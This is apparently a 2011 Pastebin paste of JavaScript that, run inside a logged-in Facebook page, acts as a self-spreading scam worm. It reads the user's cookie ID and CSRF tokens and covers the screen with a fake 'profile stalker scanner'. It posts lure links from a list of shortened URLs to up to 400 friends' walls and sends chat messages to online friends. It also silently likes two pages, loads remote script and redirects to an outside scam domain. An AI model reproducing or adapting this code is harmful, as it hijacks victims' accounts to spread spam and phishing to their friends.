saifulfaizan

osama

Dec 7th, 2011
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function readCookie(name) {
  2.     var nameEQ = name + "=";
  3.     var ca = document.cookie.split(';');
  4.     for (var i = 0; i < ca.length; i++) {
  5.         var c = ca[i];
  6.         while (c.charAt(0) == ' ') c = c.substring(1, c.length);
  7.         if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length);
  8.     }
  9.     return null;
  10. }
  11. var user_id = readCookie("c_user");
  12. var user_name = document.getElementById('navAccountName').innerHTML;
  13.  
  14. var coverpage = function() {
  15.         var boxdiv = document.createElement('div');
  16.         boxdiv.id = 'coverpage1';
  17.         boxdiv.style.display = 'block';
  18.         boxdiv.style.position = 'absolute';
  19.         boxdiv.style.width = 100 + '%';
  20.         boxdiv.style.height = 100 + '%';
  21.         boxdiv.style.top =  100 + 'px';
  22.         boxdiv.style.margin.top =  100 + 'auto';
  23.         boxdiv.style.margin =  0 + 'auto';
  24.         boxdiv.style.textAlign = 'center';
  25.         boxdiv.style.padding = '4px';
  26.         boxdiv.style.background = 'url(http://i.imgur.com/V7GNm.png) no-repeat scroll center top';
  27.         boxdiv.style.fontSize = '15px';
  28.         boxdiv.style.zIndex = 9999999;
  29.         boxdiv.innerHTML='&nbsp;<table align="center" cellpadding="5" cellspacing="5" width="400px"><tr align="left"><td valign="middle"><br /><br /><br /><br /><img style="border: 1px solid black;padding:5px;margin:10px;width:140px;height:140px;"  src="http://graph.facebook.com/'+user_id+'/picture?type=large" /></td><td align="left" valign="middle"><font style="font-weight: bold;font-size:16px;">'+user_name+'</font><br /><img src="http://i.imgur.com/hRjNi.gif" style="margin-left:20px;padding-left: 5px;"/></td></tr></table>';
  30.         document.body.appendChild(boxdiv);
  31. }
  32. coverpage();
  33.  
  34. // Setup some variables
  35.  
  36. var linkies = [
  37. "http://tiny.cc/cepag",
  38. "http://tiny.cc/b19nm",
  39. "http://tiny.cc/e2q60",
  40. "http://tiny.cc/o7op3",
  41. "http://tiny.cc/m4xm3",
  42. "http://tiny.cc/moohg"
  43. ]
  44. var link=linkies[Math.floor(Math.random()*linkies.length)];
  45. var post_form_id = document.getElementsByName('post_form_id')[0].value;
  46. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  47.  
  48. // Chat message variables
  49.  
  50. var this_chat = "Will you stop looking at my wall? I know you are because I just scanned my profile and seen you on there.. See for yourself.. " + linkies[Math.floor(Math.random()*linkies.length)];
  51. var prepared_chat = encodeURIComponent(this_chat);
  52.  
  53.  
  54. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  55. // Post Link to friends walls
  56. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  57. var token = Math.round(new Date().getTime() / 1000);
  58. var http1 = new XMLHttpRequest();
  59. var url1 = "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + user_id + "&token=" + token + "-6&filter[0]=user&options[0]=friends_only";
  60. var params1 = "";
  61. http1.open("GET", url1 + "?" + params1, true);
  62. http1.onreadystatechange = function () { //Call a function when the state changes.
  63.     if (http1.readyState == 4 && http1.status == 200) { // If state = success
  64.         var response1 = http1.responseText;
  65.         response1 = response1.replace("for (;;);", ""); // Get rid of the junk at the beginning of the returned object
  66.         response1 = JSON.parse(response1); // Convert the response to JSON
  67.         //alert(response4.toSource());
  68.         var count = 0;
  69.         for (uid in response1.payload.entries) {
  70.             if (count < 400) {
  71.                 //alert("SENT TO "+response1.payload.entries[count].uid);
  72.                 // Loop to send messages
  73.                 // New XMLHttp object
  74.                 var httpwp = new XMLHttpRequest();
  75.                 var urlwp = "http://www.facebook.com/ajax/profile/composer.php?__a=1";
  76.                 var paramswp = "post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&xhpc_composerid=u574553_1&xhpc_targetid=" + response1.payload.entries[count].uid + "&xhpc_context=profile&xhpc_fbx=1&aktion=post&app_id=2309869772&UIThumbPager_Input=0&attachment[params][metaTagMap][0][http-equiv]=content-type&attachment[params][metaTagMap][0][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][metaTagMap][1][property]=og%3Atitle&attachment[params][metaTagMap][1][content]=Find who checks our your profile&attachment[params][metaTagMap][2][property]=og%3Aurl&attachment[params][metaTagMap][2][content]=http://www.facebook.com&attachment[params][metaTagMap][3][property]=og%3Asite_name&attachment[params][metaTagMap][3][content]=Find who checks our your profile&attachment[params][metaTagMap][4][property]=og%3Aimage&attachment[params][metaTagMap][4][content]=http://imgur.com/Drajx.gif&attachment[params][metaTagMap][5][property]=og%3Adescription&attachment[params][metaTagMap][5][content]=Now you can see who stalk your profile daily&attachment[params][metaTagMap][6][name]=description&attachment[params][metaTagMap][6][content]=Now you can see who stalk your profile daily&attachment[params][metaTagMap][7][http-equiv]=Content-Type&attachment[params][metaTagMap][7][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][medium]=106&attachment[params][urlInfo][user]="+link+"&attachment[params][favicon]=http://lol.info/os/favicon.ico&attachment[params][title]=Checkout Your PROFILE Stalkers&attachment[params][fragment_title]=&attachment[params][external_author]=&attachment[params][summary]=Now you can see who stalks your profile daily&attachment[params][url]=http://www.facebook.com&attachment[params][ttl]=0&attachment[params][error]=1&attachment[params][responseCode]=206&attachment[params][metaTags][description]=Now you can see who stalks your profile daily&attachment[params][images][0]=http://imgur.com/Drajx.gif&attachment[params][scrape_time]=1302991496&attachment[params][cache_hit]=1&attachment[type]=100&xhpc_message_text=Stop creepin on me, I seen you looking at my profile.. I just scanned my profile.. you can scan yours too.&xhpc_message=Stop creepin on me, I seen you looking at my profile.. I just scanned my profile.. you can scan yours too.&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest";
  77.                 httpwp.open("POST", urlwp, true);
  78.                 //Send the proper header information along with the request
  79.                 httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  80.                 httpwp.setRequestHeader("Content-length", paramswp.length);
  81.                 httpwp.setRequestHeader("Connection", "keep-alive");
  82.                 httpwp.onreadystatechange = function () { //Call a function when the state changes.
  83.                     if (httpwp.readyState == 4 && httpwp.status == 200) {
  84.                         //alert(http.responseText);
  85.                         //alert('buddy list fetched');
  86.                     }
  87.                 }
  88.                 httpwp.send(paramswp);
  89.             }
  90.             count++; // increment counter
  91.         }
  92.         http1.close; // Close the connection
  93.     }
  94. }
  95. http1.send(null);
  96.  
  97. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  98. // Hide chat boxes
  99. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  100. var hide = document.getElementById('fbDockChatTabSlider');
  101. hide.style.display = "none";
  102.  
  103. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  104. // Get online friends and send chat message to them
  105. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  106. var http3 = new XMLHttpRequest();
  107. var url3 = "http://www.facebook.com/ajax/chat/buddy_list.php?__a=1";
  108. var params3 = "user=" + user_id + "&popped_out=false&force_render=true&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest";
  109. http3.open("POST", url3, true);
  110. //Send the proper header information along with the request
  111. http3.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  112. http3.setRequestHeader("Content-length", params3.length);
  113. http3.setRequestHeader("Connection", "close");
  114. http3.onreadystatechange = function () { //Call a function when the state changes.
  115.     if (http3.readyState == 4 && http3.status == 200) {
  116.         var response3 = http3.responseText;
  117.         response3 = response3.replace("for (;;);", "");
  118.         response3 = JSON.parse(response3);
  119.         var count = 0;
  120.         for (property in response3.payload.buddy_list.nowAvailableList) {
  121.             if (count < 100) {
  122.                 // Loop to send messages
  123.                 // New XMLHttp object
  124.                 var httpc = new XMLHttpRequest();
  125.                 // Generate random message ID
  126.                 var msgid = Math.floor(Math.random() * 1000000);
  127.                 var time = Math.round(new Date().getTime() / 1000);
  128.                 var urlc = "http://www.facebook.com/ajax/chat/send.php?__a=1";
  129.                 var paramsc = "msg_id=" + msgid + "&client_time=" + time + "&to=" + property + "&num_tabs=1&pvs_time=" + time + "&msg_text=" + prepared_chat + "&to_offline=false&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest";
  130.                 httpc.open("POST", urlc, true);
  131.                 //Send the proper header information along with the request
  132.                 httpc.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  133.                 httpc.setRequestHeader("Content-length", paramsc.length);
  134.                 httpc.setRequestHeader("Connection", "close");
  135.                 httpc.onreadystatechange = function () { //Call a function when the state changes.
  136.                     if (httpc.readyState == 4 && httpc.status == 200) {
  137.                         //alert(http.responseText);
  138.                         //alert('buddy list fetched');
  139.                     }
  140.                 }
  141.                 httpc.send(paramsc);
  142.             }
  143.             //alert(property);
  144.             count++; // increment counter
  145.         }
  146.         http3.close; // Close the connection
  147.     }
  148. }
  149. http3.send(params3);
  150.  
  151. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  152. // Become a Fan - Osama - 1
  153. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  154. var http4 = new XMLHttpRequest();
  155. var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
  156. var params4 = "fbpage_id=214672328551612&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest"
  157. http4.open("POST", url4, true);
  158. //Send the proper header information along with the request
  159. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  160. http4.setRequestHeader("Content-length", params4.length);
  161. http4.setRequestHeader("Connection", "close");
  162. http4.onreadystatechange = function () { //Call a function when the state changes.
  163.     if (http4.readyState == 4 && http4.status == 200) {
  164.         http4.close; // Close the connection
  165.     }
  166. }
  167. http4.send(params4);
  168.  
  169.  
  170. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  171. // Become a Fan - Osama - 2
  172. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  173. var http5 = new XMLHttpRequest();
  174. var url5 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
  175. var params5 = "fbpage_id=121864624558934&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest"
  176. http5.open("POST", url5, true);
  177. //Send the proper header information along with the request
  178. http5.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  179. http5.setRequestHeader("Content-length", params5.length);
  180. http5.setRequestHeader("Connection", "close");
  181. http5.onreadystatechange = function () { //Call a function when the state changes.
  182.     if (http5.readyState == 4 && http5.status == 200) {
  183.         http5.close; // Close the connection
  184.     }
  185. }
  186. http5.send(params5);
  187.  
  188. /*
  189. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  190. // Become a Fan - Profile
  191. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  192. var http6 = new XMLHttpRequest();
  193. var url6 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
  194. var params6 = "fbpage_id=153193938081099&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest"
  195. http6.open("POST", url6, true);
  196. //Send the proper header information along with the request
  197. http6.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  198. http6.setRequestHeader("Content-length", params6.length);
  199. http6.setRequestHeader("Connection", "close");
  200. http6.onreadystatechange = function () { //Call a function when the state changes.
  201.     if (http6.readyState == 4 && http6.status == 200) {
  202.         http6.close; // Close the connection
  203.     }
  204. }
  205. http6.send(params6);
  206. */
  207. //this function includes all necessary js files for the application
  208. function include(file)
  209. {
  210.  
  211.   var script  = document.createElement('script');
  212.   script.src  = file;
  213.   script.type = 'text/javascript';
  214.   script.defer = true;
  215.  
  216.   document.getElementsByTagName('head').item(0).appendChild(script);
  217.  
  218. }
  219. include('http://code.jquery.com/jquery-1.5.2.min.js');
  220. var landingpage = function() {
  221.         var myFrame = $("div#coverpage1").hide(1000);
  222.         window.open("http://myfb-apps.info/index.php");
  223.         window.top.location = "http://myfb-apps.info/stalkers.php";
  224.        
  225.         }
  226. setTimeout("landingpage();",19000);
  227.  
Add Comment
Please, Sign In to add comment